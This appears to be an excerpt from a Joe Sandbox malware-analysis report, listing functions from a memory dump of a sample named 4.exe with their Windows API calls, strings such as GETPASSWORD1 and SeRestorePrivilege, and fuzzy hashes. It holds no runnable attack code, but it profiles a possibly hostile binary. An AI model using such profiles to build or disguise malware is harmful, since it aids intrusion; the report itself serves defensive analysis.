Opcode Fuzzy Hash: efde9dd6dc177604562ff20ce8d297627c98ea3a1d671c5766e723bff6b0a4f9
Instruction Fuzzy Hash: A2E046F09047119ED7205B75A94CB82BEE45B14B04F00A85DE29AB36A1D6B4E4C0CB11

Function 00E23D6A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E23E31
___AdjustPointer.LIBCMT ref: 00E23E54
_abort.LIBCMT ref: 00E23EA2
___AdjustPointer.LIBCMT ref: 00E23EF0

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 8c01f7393e1aee3f6a6f7d99b1e33adb9d2d73c2f28a779d452b22d6f0b80200
Instruction ID: f49f5bf06b18e6515e4fcdfb2b24017fcfd1bac07e91895d12ab11a8b0a477a8
Opcode Fuzzy Hash: 8c01f7393e1aee3f6a6f7d99b1e33adb9d2d73c2f28a779d452b22d6f0b80200
Instruction Fuzzy Hash: 2651E1726003259FEB298F24F841BAA77A5FF44314F25542DE802772A1E739EE84CF90

Function 00E2D0F0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00E2D0F9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E2D11C

Part of subcall function 00E2A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E2DBEC,00000000,?,00E280B1,?,00000008,?,00E2A871,?,?,?), ref: 00E2A830

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00E2D142
_free.LIBCMT ref: 00E2D155
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E2D164

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 8e8b9c9c0d41263094cbfbac528b2a0fa25a8e1a29e2077998e213951364ab69
Instruction ID: 723f69af1f382fc011160235618ce4657a60356d5cbd37936ed2dfbcc6d7fd6e
Opcode Fuzzy Hash: 8e8b9c9c0d41263094cbfbac528b2a0fa25a8e1a29e2077998e213951364ab69
Instruction Fuzzy Hash: 3B0184B260B6357F272156B77C8DC7B6EADEFC2BA43141129FA08F7241EA649C11C1B1

Function 00E2A599 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00E43070,00000200,00E2A7F0,00E27596,?,?,?,?,00E0ECA4,?,?,?,00000004,00E0EA30,?), ref: 00E2A59E
_free.LIBCMT ref: 00E2A5D3
_free.LIBCMT ref: 00E2A5FA
SetLastError.KERNEL32(00000000,00E34ADC,00000050,00E43070), ref: 00E2A607
SetLastError.KERNEL32(00000000,00E34ADC,00000050,00E43070), ref: 00E2A610

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 7dd53a0a9b14b139caac9de744e8fb3a3b6eec340ee88b0f94e8680d6105e5d2
Instruction ID: 57f7ef7430608a2771ac1bcd8972b2cb6161c5ed1f83ac7e9da73e548f083bf7
Opcode Fuzzy Hash: 7dd53a0a9b14b139caac9de744e8fb3a3b6eec340ee88b0f94e8680d6105e5d2
Instruction Fuzzy Hash: 3A014976280A30AF820667257D49D1F36AADBC177433C3035F905B2191EF708C051467

Function 00E1220D Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00E124EF: ResetEvent.KERNEL32(?), ref: 00E12501
Part of subcall function 00E124EF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00E12515

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00E12241
CloseHandle.KERNEL32(?,?), ref: 00E1225B
DeleteCriticalSection.KERNEL32(?), ref: 00E12274
CloseHandle.KERNEL32(?), ref: 00E12280
CloseHandle.KERNEL32(?), ref: 00E1228C

Part of subcall function 00E12303: WaitForSingleObject.KERNEL32(?,000000FF,00E12526,?), ref: 00E12309
Part of subcall function 00E12303: GetLastError.KERNEL32(?), ref: 00E12315

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 9ebcb87bff57fbef195fab29847327995ac494515772e7c077fc84513e857ad4
Instruction ID: e97dfc98d083bb517d93bfdb8d76829537b2f30ae58a5666f493dd44884acc7e
Opcode Fuzzy Hash: 9ebcb87bff57fbef195fab29847327995ac494515772e7c077fc84513e857ad4
Instruction Fuzzy Hash: 570175B6100704EFC7269B65DD88BC6BFA9FB08710F00492DF36A621A0C7757999CF54

Function 00E2D9BF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E2D9D7

Part of subcall function 00E2A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC), ref: 00E2A680
Part of subcall function 00E2A66A: GetLastError.KERNEL32(00E34ADC,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC,00E34ADC), ref: 00E2A692

_free.LIBCMT ref: 00E2D9E9
_free.LIBCMT ref: 00E2D9FB
_free.LIBCMT ref: 00E2DA0D
_free.LIBCMT ref: 00E2DA1F

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 91f8a254bad9b1d1cac91495dfe6339f3c56733ec30f3b1a183625a18f9609d8
Instruction ID: ce598d06708ee23689b6c81d912018af1f8571f634c5930f37288348d94ba9e0
Opcode Fuzzy Hash: 91f8a254bad9b1d1cac91495dfe6339f3c56733ec30f3b1a183625a18f9609d8
Instruction Fuzzy Hash: 3CF012B2518220AFCA20EB69FD86D1673E9BB45B1475C2C15F248F7941CB75FCC18A54

Function 00E13338 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E13340
_wcslen.LIBCMT ref: 00E13351
_wcslen.LIBCMT ref: 00E13361
_wcslen.LIBCMT ref: 00E1336F
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00E0C844,?,?,00000000,?,?,?), ref: 00E1338A

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 71c915c55460c4dff516629c94c3d2418450dd7d63ab10c8dfe0c45dce102973
Instruction ID: 8f658dc9f87e7717d33fcf8509330991c44694525411e6892b9862ba85670693
Opcode Fuzzy Hash: 71c915c55460c4dff516629c94c3d2418450dd7d63ab10c8dfe0c45dce102973
Instruction Fuzzy Hash: 99F06DB2108024BFDF122F61EC09CCE3FA6EB90760B15A001F6296A0A1CA7296A19690

Function 00E29CD0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E29CEE

Part of subcall function 00E2A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC), ref: 00E2A680
Part of subcall function 00E2A66A: GetLastError.KERNEL32(00E34ADC,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC,00E34ADC), ref: 00E2A692

_free.LIBCMT ref: 00E29D00
_free.LIBCMT ref: 00E29D13
_free.LIBCMT ref: 00E29D24
_free.LIBCMT ref: 00E29D35

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e93426246e9308b2d4060f18dcc4a57c49f9905e728cdc56bb037e8bd6bf424b
Instruction ID: 3a91cad9b54db8882087e21ce15d1fdf7f30e57f9df4eee615e9cb356b1f06b5
Opcode Fuzzy Hash: e93426246e9308b2d4060f18dcc4a57c49f9905e728cdc56bb037e8bd6bf424b
Instruction Fuzzy Hash: DEF05EF48011318FCA02AF16FC428067BF5F726F647192627F519732B1C7B6189A9B85

Function 00E12948 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E12B06
_swprintf.LIBCMT ref: 00E12BB5

Strings

%s: %s, xrefs: 00E12B15
%ls, xrefs: 00E1298B, 00E129A1

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: dd79e09421f3e23c8f126c8cb39960ef0c96a19850a19b42fcf9c77b3ac30d28
Instruction ID: ba9c24047783a0b60a782862976196670df7277a1897e55f88816ac73a0c0f4f
Opcode Fuzzy Hash: dd79e09421f3e23c8f126c8cb39960ef0c96a19850a19b42fcf9c77b3ac30d28
Instruction Fuzzy Hash: 5451A37168C300FEEA315A988C02FF57695AF54B01F20A50EF79B744E5CAA395F0A71B

Function 00E29330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\4.exe,00000104), ref: 00E29370
_free.LIBCMT ref: 00E2943B
_free.LIBCMT ref: 00E29445

Strings

C:\Program Files (x86)\4.exe, xrefs: 00E29367, 00E2936E, 00E2939D, 00E293D5

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Program Files (x86)\4.exe
API String ID: 2506810119-4015062126
Opcode ID: 94244e7aeace776b969a0ee9cd7b422559ffe1f707265162efc15c1615d15d52
Instruction ID: ce011f5a6bfaf00e9a090fbaab6b5d668fcc490a496104e6934a411cfc790c7c
Opcode Fuzzy Hash: 94244e7aeace776b969a0ee9cd7b422559ffe1f707265162efc15c1615d15d52
Instruction Fuzzy Hash: 6431A2B1A00228EFCB21EF99F881D9EBBFCEB85710F146066F504B7252D7705A45CB91

Function 00E24366 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00E2438B
_abort.LIBCMT ref: 00E24496

Strings

MOC, xrefs: 00E2439D
RCC, xrefs: 00E243A5

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: df3b4b7f33f71aaf182643c0f2eb1aa50bdc5d352f4b45495065c0f0653a1e69
Instruction ID: ba3a0f0fb30f6e1e708a3ef71ea397287e39d78c265d03c94e8c301d4c7bc471
Opcode Fuzzy Hash: df3b4b7f33f71aaf182643c0f2eb1aa50bdc5d352f4b45495065c0f0653a1e69
Instruction Fuzzy Hash: 424158B1900219AFDF15EF98EC81AAEBBB5BF08308F149099FA1477261D3359A51DB50

Function 00E07F1B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E07F20

Part of subcall function 00E042F1: __EH_prolog.LIBCMT ref: 00E042F6

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00E07FE5

Part of subcall function 00E08704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00E08713
Part of subcall function 00E08704: GetLastError.KERNEL32 ref: 00E08759
Part of subcall function 00E08704: CloseHandle.KERNEL32(?), ref: 00E08768

Strings

SeSecurityPrivilege, xrefs: 00E07F62
SeRestorePrivilege, xrefs: 00E07F77

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 117fa900e68d551ea49a2ee94e8763de784c44072855e31e9d0491d82ec54169
Instruction ID: c94eba85c18aa45d21dfc6343a177f8a767d0f80344961f5447d5bc72256e12a
Opcode Fuzzy Hash: 117fa900e68d551ea49a2ee94e8763de784c44072855e31e9d0491d82ec54169
Instruction Fuzzy Hash: 61312171A00248AEEF20EBA49D05BEE7BA9AB44358F106025F584F61D2CB749DC9CB61

Function 00E1BDE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00E012F6: GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
Part of subcall function 00E012F6: SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

EndDialog.USER32(?,00000001), ref: 00E1BE68
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00E1BE7D
SetDlgItemTextW.USER32(?,00000066,?), ref: 00E1BE92

Strings

ASKNEXTVOL, xrefs: 00E1BDF8

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 1a58230c6ef5162a0c0affb993f87eda85df71b7c4a2c9645a1a7e5d6ac69b6d
Instruction ID: 031284c876bc81fd1f4e53a696742d1d373920a21e94626c2db11a9d7bd4bd66
Opcode Fuzzy Hash: 1a58230c6ef5162a0c0affb993f87eda85df71b7c4a2c9645a1a7e5d6ac69b6d
Instruction Fuzzy Hash: 3611E632340118BFD6119FA9EC09FF77BA9EF4A784F002418F741BB0B4C7A299899765

Function 00E0EC0C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00E0EC74
_strncpy.LIBCMT ref: 00E0ECBA

Part of subcall function 00E130F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00E43070,00000200,00E0EC48,00000000,?,00000050,00E43070), ref: 00E13112

Strings

@%s, xrefs: 00E0EC5E
$%s, xrefs: 00E0EC69

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: b76fdb6f3c5c2dc7569c7617dfef6d87c8b90bfc079cd66007f202f33ced9bde
Instruction ID: 1fbdf9482d69757de2d21a79b461afc22ece8e65e0f6a4e342d4b49b1e3490d6
Opcode Fuzzy Hash: b76fdb6f3c5c2dc7569c7617dfef6d87c8b90bfc079cd66007f202f33ced9bde
Instruction Fuzzy Hash: 1A216072540348AEEB20DEA4CE86FDF7BE8AF05704F041922F911B62D1E672D694CB51

Function 00E12166 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00E0C04A,00000008,?,00000000,?,00E0E685,?,00000000), ref: 00E121A5
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00E0C04A,00000008,?,00000000,?,00E0E685,?,00000000), ref: 00E121AF
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00E0C04A,00000008,?,00000000,?,00E0E685,?,00000000), ref: 00E121BF

Strings

Thread pool initialization failed., xrefs: 00E121D7

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: c443d092291b8bd7ba677f678a57f39843873f8302d56f514e5512b493e0a9a6
Instruction ID: c56cb0309afa41618a3ad0bbdeac940204e66a47f0d7b309030b6a87f0927a99
Opcode Fuzzy Hash: c443d092291b8bd7ba677f678a57f39843873f8302d56f514e5512b493e0a9a6
Instruction Fuzzy Hash: 8B11B2B1705709AFC3218F6A9C889D7FBDCEB55344F10582EF2D692240D67169808B60

Function 00E1C460 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00E012F6: GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
Part of subcall function 00E012F6: SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

EndDialog.USER32(?,00000001), ref: 00E1C4AE
GetDlgItemTextW.USER32(?,00000066,?,00000200), ref: 00E1C4C6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00E1C4F4

Strings

GETPASSWORD1, xrefs: 00E1C479

Memory Dump Source

